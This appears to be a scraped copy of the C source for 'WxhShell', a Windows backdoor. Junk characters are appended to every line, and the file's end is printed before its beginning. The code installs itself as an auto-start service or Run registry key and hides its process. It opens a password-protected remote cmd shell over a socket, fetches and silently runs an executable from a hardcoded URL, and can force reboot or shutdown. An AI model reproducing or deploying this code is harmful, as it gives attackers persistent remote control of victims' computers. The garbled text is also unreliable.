    if(Boot(SHUTDOWN)) &0x;60b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VV-%AS6;  
    else { HC!5AJ&+}v  
    closesocket(wsh); 7<0oK|~c#  
    ExitThread(0); y?'Z'  
    } ;q?WU>c{?  
    break; F]GX;<`  
    } Ve\.7s  
  // 获取shell sq_ yu(  
  case 's': { eNDc220b  
    CmdShell(wsh); "N3!!3  
    closesocket(wsh); X?7s  
    ExitThread(0); Yij_'0vZ  
    break; n,#o6ali>  
  } ]u|5ZCv0  
  // 退出 {VE1c'E"V?  
  case 'x': { +<Y1`kV)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |-9##0H  
    CloseIt(wsh); 9}T(m(WQVu  
    break; }xJ!0<Bs  
    } @{@DGc  
  // 离开 ~Dbu;cqR@  
  case 'q': { }hA)p:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lvb'qZ6n  
    closesocket(wsh); uWLf9D"  
    WSACleanup(); Zx&=K"  
    exit(1); $C t(M)  
    break; efK WR  
        } C]a iu  
  } 09 v m5|  
  } )O,+'w?  
yRWZ/,9x   
  // 提示信息 PG{"GiZz=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )uO 3v  
} E?h'OR@_ L  
  } xzw2~(lo  
0zpA<"S  
  return; b"(bT6XO!  
} ({<qs}H"  
, }B{)  
// shell模块句柄 YeI|&FMX  
int CmdShell(SOCKET sock) .2 }5Dc,eR  
{ ? @- t.N  
STARTUPINFO si; ]Wn=Oc{F  
ZeroMemory(&si,sizeof(si)); GrA}T`]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #]2,1dJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RY}:&vWDk  
PROCESS_INFORMATION ProcessInfo; ob K6GG?ZE  
char cmdline[]="cmd"; 4oPr|OKj{*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P\3H<?@4  
  return 0; u vyvy  
} F\%PB p  
u >.>hQ  
// 自身启动模式 ~>u u1[ /  
int StartFromService(void) i9^m;Y)^I  
{ a/Cc.s   
typedef struct 7 V=%&+  
{ ,#.9^J  
  DWORD ExitStatus; ^o(C\\>{&  
  DWORD PebBaseAddress; 8Yw V"+Fu/  
  DWORD AffinityMask; `G2!{3UD  
  DWORD BasePriority; =c#;c+a  
  ULONG UniqueProcessId; ^,#MfF6  
  ULONG InheritedFromUniqueProcessId; uDMyO<\  
}   PROCESS_BASIC_INFORMATION; SJO^.[  
2 W Wr./q  
PROCNTQSIP NtQueryInformationProcess; )QB9zl:  
ogJ>`0 +J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A}CpyRVCn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jN%+)Kj0C)  
L[Y|K%;~  
  HANDLE             hProcess; J';XAB }  
  PROCESS_BASIC_INFORMATION pbi; cJ#%OU3 p  
+IM6 GeH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XBos ^Q  
  if(NULL == hInst ) return 0; 71G00@&w9D  
+~?K@n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -O6\!Wo=-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aFDCVm%U|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \l?.VE D  
T2}ccnDi  
  if (!NtQueryInformationProcess) return 0; -hKtd3WbT  
,QHn} 3fW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~p$ncIr2Q  
  if(!hProcess) return 0; W4S]2P>T  
9|2LuHQu+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~c'R7E&Bfa  
x=3+@'  
  CloseHandle(hProcess); }J] P`v  
XaYgl&x'!x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i; 3qMBVY~  
if(hProcess==NULL) return 0; fVxRK\a\\  
qD> D  
HMODULE hMod; =ve, !  
char procName[255]; Nu6]R677Y  
unsigned long cbNeeded; Ffr6P }I  
(=w ff5U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V2*m/JyeB  
5YgUk[J  
  CloseHandle(hProcess); 0u8(*?  
5U.,iQ(d  
if(strstr(procName,"services")) return 1; // 以服务启动 ) q'~<QxI\  
uH8`ipX  
  return 0; // 注册表启动 q^+Z>   
} @-BgPDi.Z  
"dBCS  
// 主模块 ybVdWOqv  
int StartWxhshell(LPSTR lpCmdLine) $:<G=  
{ 6| {uZNz  
  SOCKET wsl; d5tp w$A  
BOOL val=TRUE; p&(~c/0  
  int port=0; ^g*/p[  
  struct sockaddr_in door; <=&7*8u0+  
G+l9QaFv  
  if(wscfg.ws_autoins) Install(); +ywd(Tuzm  
eE[/#5tK  
port=atoi(lpCmdLine); ?mW;%d~]  
-cnlj  
if(port<=0) port=wscfg.ws_port; g bwg3$!9  
!Mk:rO-L  
  WSADATA data; ,__|SnA.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s`"ALn8m  
.X(ocs$}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   da53XEF&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^p!bteA>  
  door.sin_family = AF_INET; s*W)BK|+?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cRC)99HP  
  door.sin_port = htons(port); N>_d {=P  
U-3uT&m*9.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Is !DiB  
closesocket(wsl); xn)r6  
return 1; &_y+hV{  
} %]@K}!)2  
DwC8?s*2H  
  if(listen(wsl,2) == INVALID_SOCKET) { Eb=;D1)y]  
closesocket(wsl);  \ l8$1p  
return 1; d<l-Ldle  
} ,JmA e6  
  Wxhshell(wsl); Y4dTv<=K@i  
  WSACleanup(); wq"AWyu  
=m= utd8  
return 0; Gg9NG`e6I  
7<VfE`Q3  
} ~+Da`Wp  
wuTCdBu6hU  
// 以NT服务方式启动 iiZK^/P$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q{Lsr,  
{ IRQ3>4hI  
DWORD   status = 0; "Z6:d"S`  
  DWORD   specificError = 0xfffffff; t#h<'?\E  
$MG. I[h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `;R|SyrX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -/ #tQ~{gs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <ArP_! `3  
  serviceStatus.dwWin32ExitCode     = 0; kVZ5>D$  
  serviceStatus.dwServiceSpecificExitCode = 0; ywV8s|o  
  serviceStatus.dwCheckPoint       = 0; c/57_fOK  
  serviceStatus.dwWaitHint       = 0; 20f):A6  
R4|<Vp<U2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  Cz_chK4  
  if (hServiceStatusHandle==0) return; __V6TDehJ$  
;zO(bj>  
status = GetLastError(); >AW=N  
  if (status!=NO_ERROR) '2%/h4jY  
{ =}~h bPJM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kM?p>V6  
    serviceStatus.dwCheckPoint       = 0; \$h LhYz-  
    serviceStatus.dwWaitHint       = 0; #YSUPO%F  
    serviceStatus.dwWin32ExitCode     = status; s:/.:e_PU  
    serviceStatus.dwServiceSpecificExitCode = specificError; , eZL&n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @kKmkVhu*  
    return; ; (+r)r_  
  } b\w88=|  
:/IcFU~)M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (&$|R\W.  
  serviceStatus.dwCheckPoint       = 0; Wwf#PcC]  
  serviceStatus.dwWaitHint       = 0; 5i$~1ZC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4 1TB  
} e+F5FAMR68  
#={L!"3?e  
// 处理NT服务事件,比如:启动、停止 D4r5wc%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZCMB]bL-e  
{ w%k)J{\  
switch(fdwControl) ^q,KR ut  
{ f6Wu+~|Y  
case SERVICE_CONTROL_STOP: X?.bE!3=  
  serviceStatus.dwWin32ExitCode = 0; TUEEwDK-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '.@R_sj   
  serviceStatus.dwCheckPoint   = 0; j]<T\O>t>  
  serviceStatus.dwWaitHint     = 0; >1tGQ cg  
  { 6Bp{FOj:Ss  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  v|Tg %  
  } UG>OL2m>5  
  return; DwZt.*  
case SERVICE_CONTROL_PAUSE: ys;e2xekg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @"HR"@pX  
  break; @:xO5L}Io  
case SERVICE_CONTROL_CONTINUE: D.<CkD B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &hba{!`y  
  break; WL}6YSC  
case SERVICE_CONTROL_INTERROGATE: =D4EPfQn1  
  break; LZG^\c$  
}; v-) eT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]T(O;y*m   
} "=<l Pi  
UUY-EC7X  
// 标准应用程序主函数 k&DH QvfB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +c\s%Gzrh  
{ vd /_`l.D  
KX)xCR~  
// 获取操作系统版本 r[Q$w>  
OsIsNt=GetOsVer(); 3_T'TzQ u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RQU5T 2,  
Z=!*7@QY  
  // 从命令行安装 !r.}y|t?;  
  if(strpbrk(lpCmdLine,"iI")) Install(); @WEem(@  
VJCh5t*  
  // 下载执行文件 M Zw%s(lv  
if(wscfg.ws_downexe) { G"TPu _g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _u;^w}0  
  WinExec(wscfg.ws_filenam,SW_HIDE); #fGb M!3p  
} 9rao&\eH  
_ |TE )h  
if(!OsIsNt) { n/?5[O-D]  
// 如果时win9x,隐藏进程并且设置为注册表启动 5.[{PJ]bq  
HideProc(); 9$Mi/eLG2N  
StartWxhshell(lpCmdLine); dY\"'LtF  
} e|Sg?ocR  
else d0 V>;Q  
  if(StartFromService()) :/%Vpdd@  
  // 以服务方式启动 ^ MJGY,r6b  
  StartServiceCtrlDispatcher(DispatchTable); Ip4NkUI3T  
else sp**Sg)  
  // 普通方式启动 g@Ni!U"_c  
  StartWxhshell(lpCmdLine); ITc/aX  
aG}9Z8D  
return 0; Pz|qy,  
} }h_Op7.5D  
@?B=8VHR  
EkSTN  
Lf0Hz")  
=========================================== y-n\;d>[(  
+X*`}-3  
FYcMvY  
ZVp\ 5V*  
7Xad2wXn  
iY|YEi8  
" GoEIY  
- Ez|  
#include <stdio.h> f6L_u k`{  
#include <string.h> zW0AB8l  
#include <windows.h> &vMH AZd  
#include <winsock2.h> :LBe{Jbw  
#include <winsvc.h> q<yH!  
#include <urlmon.h> %&_(IY$d  
($S{td;  
#pragma comment (lib, "Ws2_32.lib") t^CT^z  
#pragma comment (lib, "urlmon.lib") o~-X7)]  
BXfaqYb;Q  
#define MAX_USER   100 // 最大客户端连接数 "j a0,%3  
#define BUF_SOCK   200 // sock buffer ZHC sv]l  
#define KEY_BUFF   255 // 输入 buffer [QZ~~(R  
zt,-O7I'1  
#define REBOOT     0   // 重启 n~&R_"mv(  
#define SHUTDOWN   1   // 关机 k9Sqp :l,  
q6Q=Zo@  
#define DEF_PORT   5000 // 监听端口 <go~WpA|r  
qz0v1057#  
#define REG_LEN     16   // 注册表键长度 4[J3HLQ  
#define SVC_LEN     80   // NT服务名长度 ,#wVqBEk  
5R=lTx/Hj  
// 从dll定义API hx^a&"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `90v~O F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \PLV]%3,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <;6])  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D@^F6am%  
bg HaheU  
// wxhshell配置信息 KFZ[gqW8YY  
struct WSCFG { T?\CAk>  
  int ws_port;         // 监听端口 4o*V12_r'4  
  char ws_passstr[REG_LEN]; // 口令 pK8nzGQl7  
  int ws_autoins;       // 安装标记, 1=yes 0=no __ mtZ{  
  char ws_regname[REG_LEN]; // 注册表键名 !%u#J:z2  
  char ws_svcname[REG_LEN]; // 服务名 'd t}i<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &16bZw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MtYP3:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5pok%g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *[SsvlFt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H*\[:tPa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 87^ 4",  
Agi1r]W  
}; *cf"l  
8zc!g|5"  
// default Wxhshell configuration + kF[Oh#  
struct WSCFG wscfg={DEF_PORT, P+b^;+\1s  
    "xuhuanlingzhe", s{k\1 P(G}  
    1, 20moX7L  
    "Wxhshell", xF/DYXC{8  
    "Wxhshell", .HQ<6k:  
            "WxhShell Service", og\XLJ}_  
    "Wrsky Windows CmdShell Service", y[|g!9Rp  
    "Please Input Your Password: ", =+"'=o  
  1, ;yZ N "r  
  "http://www.wrsky.com/wxhshell.exe", +E [bLz^  
  "Wxhshell.exe" *(`.h\+  
    }; %f-<ol  
$dnHUBB  
// 消息定义模块 {6n \532@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A$F;fCV*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^97ZH)Ww  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _#4,&bh8  
char *msg_ws_ext="\n\rExit."; h]Oplp4 \W  
char *msg_ws_end="\n\rQuit."; w3w*"M  
char *msg_ws_boot="\n\rReboot..."; gr?pvf!I  
char *msg_ws_poff="\n\rShutdown..."; @ RI^wZ-;  
char *msg_ws_down="\n\rSave to "; 'sF563kE  
d>`(.qvxR  
char *msg_ws_err="\n\rErr!"; *i{.@RX?  
char *msg_ws_ok="\n\rOK!"; Cv~hU%1T  
cA%U  
char ExeFile[MAX_PATH]; 3kQ^f=Wd  
int nUser = 0; >slN:dr0:  
HANDLE handles[MAX_USER]; (RmED\.]4  
int OsIsNt; :(b3)K  
8e@JvAaa$  
SERVICE_STATUS       serviceStatus; 7S2F^,w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |+:ZO5FaO  
Mak9qaWqF>  
// 函数声明 BZ<z@DJp  
int Install(void); G zXP  
int Uninstall(void); ]'h)7  
int DownloadFile(char *sURL, SOCKET wsh); #5C3S3e=  
int Boot(int flag); O|RO j  
void HideProc(void); DjIswI1I  
int GetOsVer(void); #(IMRdUf  
int Wxhshell(SOCKET wsl); )M N yOj  
void TalkWithClient(void *cs); tKeO+6l  
int CmdShell(SOCKET sock); Qg>GW  
int StartFromService(void); j_yFH#^W:  
int StartWxhshell(LPSTR lpCmdLine); w)eQ'6Vu  
93Gur(j^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3K!0 4\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |2<f<k/UT  
$cOD6Xr)d  
// 数据结构和表定义 1:!rw,Jzl`  
SERVICE_TABLE_ENTRY DispatchTable[] = R$fIb}PDr  
{ T+nC>}*jgJ  
{wscfg.ws_svcname, NTServiceMain}, 0o|,& K  
{NULL, NULL} _A|\.(t  
}; otVyuh  
_Af4ct;ng  
// 自我安装 :3>yr5a7-  
int Install(void) L[G\+   
{ gwaC?tf[  
  char svExeFile[MAX_PATH]; 'B5J.Xe:  
  HKEY key; /Z " 4[  
  strcpy(svExeFile,ExeFile); 56Y5kxmi  
6J-}&U  
// 如果是win9x系统,修改注册表设为自启动 PBs<8xBx^  
if(!OsIsNt) { 7 3z Y^ x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j'*p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .(1j!B4^  
  RegCloseKey(key); f5b`gvCY,#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0*;9CH=BE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?SOF n  
  RegCloseKey(key); ; 9 &1JX  
  return 0; \Tf{ui  
    } T:S{3  
  } } o"_#\6  
} ls "\YSq$  
else { C$RAJ  
Omh&)|Iql  
// 如果是NT以上系统,安装为系统服务 Fl+tbF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]t*P5  
if (schSCManager!=0) FV6he [,  
{ 7k t7^V<  
  SC_HANDLE schService = CreateService =E}%>un  
  ( `{|}LFS>  
  schSCManager, mERZ_[a2  
  wscfg.ws_svcname, _ K+V?-=  
  wscfg.ws_svcdisp, A[ECa{ v  
  SERVICE_ALL_ACCESS, 2V2x,!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F}B/-".^  
  SERVICE_AUTO_START, Ddl% V7  
  SERVICE_ERROR_NORMAL, 7YXXkdgbd  
  svExeFile, 'oiD#\t4  
  NULL, ,6orB}w?z  
  NULL, LB*#  
  NULL, ~2A$R'xb  
  NULL, V0'p1J tD  
  NULL .FbZVYc]  
  ); 8X ?GY8W:  
  if (schService!=0) Y\g90  
  { aC8,Y$>?E`  
  CloseServiceHandle(schService); P$6f+{  
  CloseServiceHandle(schSCManager); 4=F]`Lql  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KG-k$glD  
  strcat(svExeFile,wscfg.ws_svcname); [rUh;_b\D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X |1_0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xk&F4BJQk<  
  RegCloseKey(key); /romTK4  
  return 0; ,F?~'-K  
    } 28Ssb|  
  } ;x3 ]4^  
  CloseServiceHandle(schSCManager); J<($L}T*$  
} nhQ44qRgQ  
} AeY$.b  
%is,t<G  
return 1;  ny  
} 3dX=xuQ%/  
@1/}-.(n  
// 自我卸载 jgo<#AJ/E  
int Uninstall(void) f.$aFOn  
{ ^!o1l-Y^gr  
  HKEY key; !7kLFW  
H81.p  
if(!OsIsNt) { PX69  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iA%' ;V  
  RegDeleteValue(key,wscfg.ws_regname); @!&Jgg53G  
  RegCloseKey(key); Y( V3P nH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "doU.U&u  
  RegDeleteValue(key,wscfg.ws_regname); o! 2 n}C  
  RegCloseKey(key); 3!"b guE  
  return 0; u_p7Mcb  
  } D*XZT{1g  
} !rsa4t@ t  
} |?2 hml  
else { i!.I;@  
Wlr&g xZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h=K36a)  
if (schSCManager!=0) e\^g|60f_  
{ w]W`R.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PzMlua  
  if (schService!=0) /Oq)3fU e  
  { w;yiX<t<  
  if(DeleteService(schService)!=0) { Msv*}^>  
  CloseServiceHandle(schService); E~<(i':  
  CloseServiceHandle(schSCManager); k%Ma4_Z  
  return 0; g:uvoMUD  
  } hs!UX=x|  
  CloseServiceHandle(schService); )KaLSL>  
  } P0'e"\$  
  CloseServiceHandle(schSCManager); !"`@sd~  
} -~v l+L  
} RjR&D?dc  
C@TN5?Z  
return 1; ]k ::J>84  
} ?AeHVQ :C  
z`emKFbv  
// 从指定url下载文件 >%uAQiU  
int DownloadFile(char *sURL, SOCKET wsh) :rz9M@7  
{ 3~[`[4n^  
  HRESULT hr; p@?7^nIR*u  
char seps[]= "/"; e5qrQwU  
char *token; i ll-%OPeg  
char *file; {h/OnBwG  
char myURL[MAX_PATH]; %XEKhy  
char myFILE[MAX_PATH]; 0On? {Bw  
qYgwyj=4  
strcpy(myURL,sURL); kfMhw M8kP  
  token=strtok(myURL,seps); QHHW(InG<  
  while(token!=NULL) ZdE>C   
  { M>*0r<qn  
    file=token; E;6Y? vJ  
  token=strtok(NULL,seps); ~-XOvKJb  
  } YMc8Q\*B  
X+]L-o6I2  
GetCurrentDirectory(MAX_PATH,myFILE); D~G5]M,}$  
strcat(myFILE, "\\"); 55 S\&Ad$  
strcat(myFILE, file); -M7K8  
  send(wsh,myFILE,strlen(myFILE),0); pP|,7c5  
send(wsh,"...",3,0); T"L0Iy!k;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :V&N\>Wo  
  if(hr==S_OK) [D*J[?yt  
return 0; +3M$3w{2  
else eV[`P&j_C  
return 1; P'a0CE%  
qn2o[x  
} E:uReT  
L*zbike  
// 系统电源模块 (NGu9uJs  
int Boot(int flag) e$CePLEj  
{ %v5)s(Yu  
  HANDLE hToken; lhLnygUk  
  TOKEN_PRIVILEGES tkp; <U@P=G<t  
$7Jfb<y  
  if(OsIsNt) { nkCecwzr-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *ZGX-+{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N=OS\pz  
    tkp.PrivilegeCount = 1; =?= )s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^y:FjQC:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T?W[Z_D  
if(flag==REBOOT) { nqZA|-}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W3^zIj  
  return 0; `d75@0:  
} c5X`_  
else { q:vz?G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1*Sr5N[=  
  return 0; 54<6Dy f  
} ;*y|8od B  
  } "e~k-\^Y  
  else { 'I&|1I^  
if(flag==REBOOT) { xKY$L*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fJX\'Rc\  
  return 0; "kX`FaAhY  
} vT?Q^PTO  
else { .2e1S{9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >4,{6<|  
  return 0; Iph3%RaE  
} ;SfNKu  
} s0r"N7~  
D,k(~  
return 1; pFpZbU^  
} XdcG0D^  
gF3TwAr  
// win9x进程隐藏模块 mV<i JZh  
void HideProc(void) J2r1=5HS  
{ Yrpxy.1=F5  
'V&2Xvl%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !L77y^oV  
  if ( hKernel != NULL ) prZ55MS.  
  { Xt ft*Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _().t5<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gC`)]*'tE  
    FreeLibrary(hKernel); X:_<Y_JT  
  } k5a\Sq}  
Uh.Sc:trA  
return; y?>#t^  
} m=QCG)s  
4b4QbJ$  
// 获取操作系统版本 "IG+V:{ou  
int GetOsVer(void) 6yI}1g  
{ 71O3O7  
  OSVERSIONINFO winfo; 2Pp&d>E4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "<*awWNI  
  GetVersionEx(&winfo); JvkL37^ n:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L~dC(J)@ZI  
  return 1; X2gz6|WJ  
  else x5OC;OQc  
  return 0; XrS\+y3  
} A W)a">|  
:tM?%=Q  
// 客户端句柄模块 /BpxKh2p  
int Wxhshell(SOCKET wsl) m"Qq{p|'  
{ .Pw%DZ'  
  SOCKET wsh; PKA }zZ  
  struct sockaddr_in client; nLy#|C  
  DWORD myID; "!H@k%eAM|  
se!mb _!  
  while(nUser<MAX_USER) Q.k :\m*h  
{ /s c.C  
  int nSize=sizeof(client);  ]>Si0%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M^6$ MMx  
  if(wsh==INVALID_SOCKET) return 1; HM&1y ubh#  
=-~;OH /  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9cd8=][  
if(handles[nUser]==0) gi]ZG  
  closesocket(wsh); =x0No*#|'  
else SMoz:J*Q(  
  nUser++; j$x)pB3]  
  } %6ub3PLw8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iePf ]O*  
nxaT.uFd1  
  return 0; h1+ hds+  
} (ZP87Gz  
->E=&X  
// 关闭 socket Ue$zH"w  
void CloseIt(SOCKET wsh) 6:?rlh  
{ j7 d:v7+_  
closesocket(wsh); J!h^egP  
nUser--; '<@=vGsye  
ExitThread(0); d TGA5c  
} ip``v0Nf  
Yv )aAWEa  
// 客户端请求句柄 *Msr15  
void TalkWithClient(void *cs) Dag`>|my  
{ 6T+  
4/*H.Fl  
  SOCKET wsh=(SOCKET)cs; ~p*1:ij  
  char pwd[SVC_LEN]; Pxhz@":[  
  char cmd[KEY_BUFF]; |d7$*7TvV  
char chr[1]; }+R B=#~o  
int i,j; 6)e5zKW!?  
wAYB RY[  
  while (nUser < MAX_USER) { C+%K6/J(  
lIf(6nm@  
if(wscfg.ws_passstr) { 'r+PH*Mr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KJh,,xI>by  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mm[SBiFO\  
  //ZeroMemory(pwd,KEY_BUFF); dDtFx2(R  
      i=0; 7=P^_LcU  
  while(i<SVC_LEN) { o }@n>R  
V U~Dk);Bv  
  // 设置超时 #Hu~}zy  
  fd_set FdRead; Ip?]K*sq  
  struct timeval TimeOut; op7FZHs  
  FD_ZERO(&FdRead); E \{<;S  
  FD_SET(wsh,&FdRead); vR>o}%`  
  TimeOut.tv_sec=8; z`$J_CjY  
  TimeOut.tv_usec=0; wJG$c-(\0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C!%:o/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;sPzOS9  
#[ -\lU|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @5<CXTdF9c  
  pwd=chr[0]; [!"XcFY:a  
  if(chr[0]==0xd || chr[0]==0xa) { i0pU!`0  
  pwd=0; cA;js;x@  
  break; o-eKAkh  
  } ^_>!B)  
  i++; Q\kub_I{@  
    } Sm|(  
m)&znLA  
  // 如果是非法用户,关闭 socket SEF6B45}1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `UzVS>]l[+  
} =P^wh  
+S~.c;EK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {G*QY%j^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GsV4ZZ  
M{N(~ql  
while(1) { 6Nh0  
d^V$Z6* ]  
  ZeroMemory(cmd,KEY_BUFF); i$UQbd  
HJhH-\{@  
      // 自动支持客户端 telnet标准   S>_27r{  
  j=0; ;-@=  
  while(j<KEY_BUFF) { ;D2E_!N dt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |4b)>8TL/  
  cmd[j]=chr[0]; I mym+  
  if(chr[0]==0xa || chr[0]==0xd) { R+=a`0_S  
  cmd[j]=0; #y; yN7W  
  break; $L}aQlA1JM  
  } &ITuyGmF  
  j++; vRhnX  
    } |)U|:F/{@  
~OFvu}]  
  // 下载文件 G<qIY&D'  
  if(strstr(cmd,"http://")) {  6sxz_f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h##WA=1QZ  
  if(DownloadFile(cmd,wsh)) U/w.M_S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O\beKBT;  
  else 'ks{D(`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /"#4T^7&  
  } Yx)o:#2  
  else { I6w~H?ul@*  
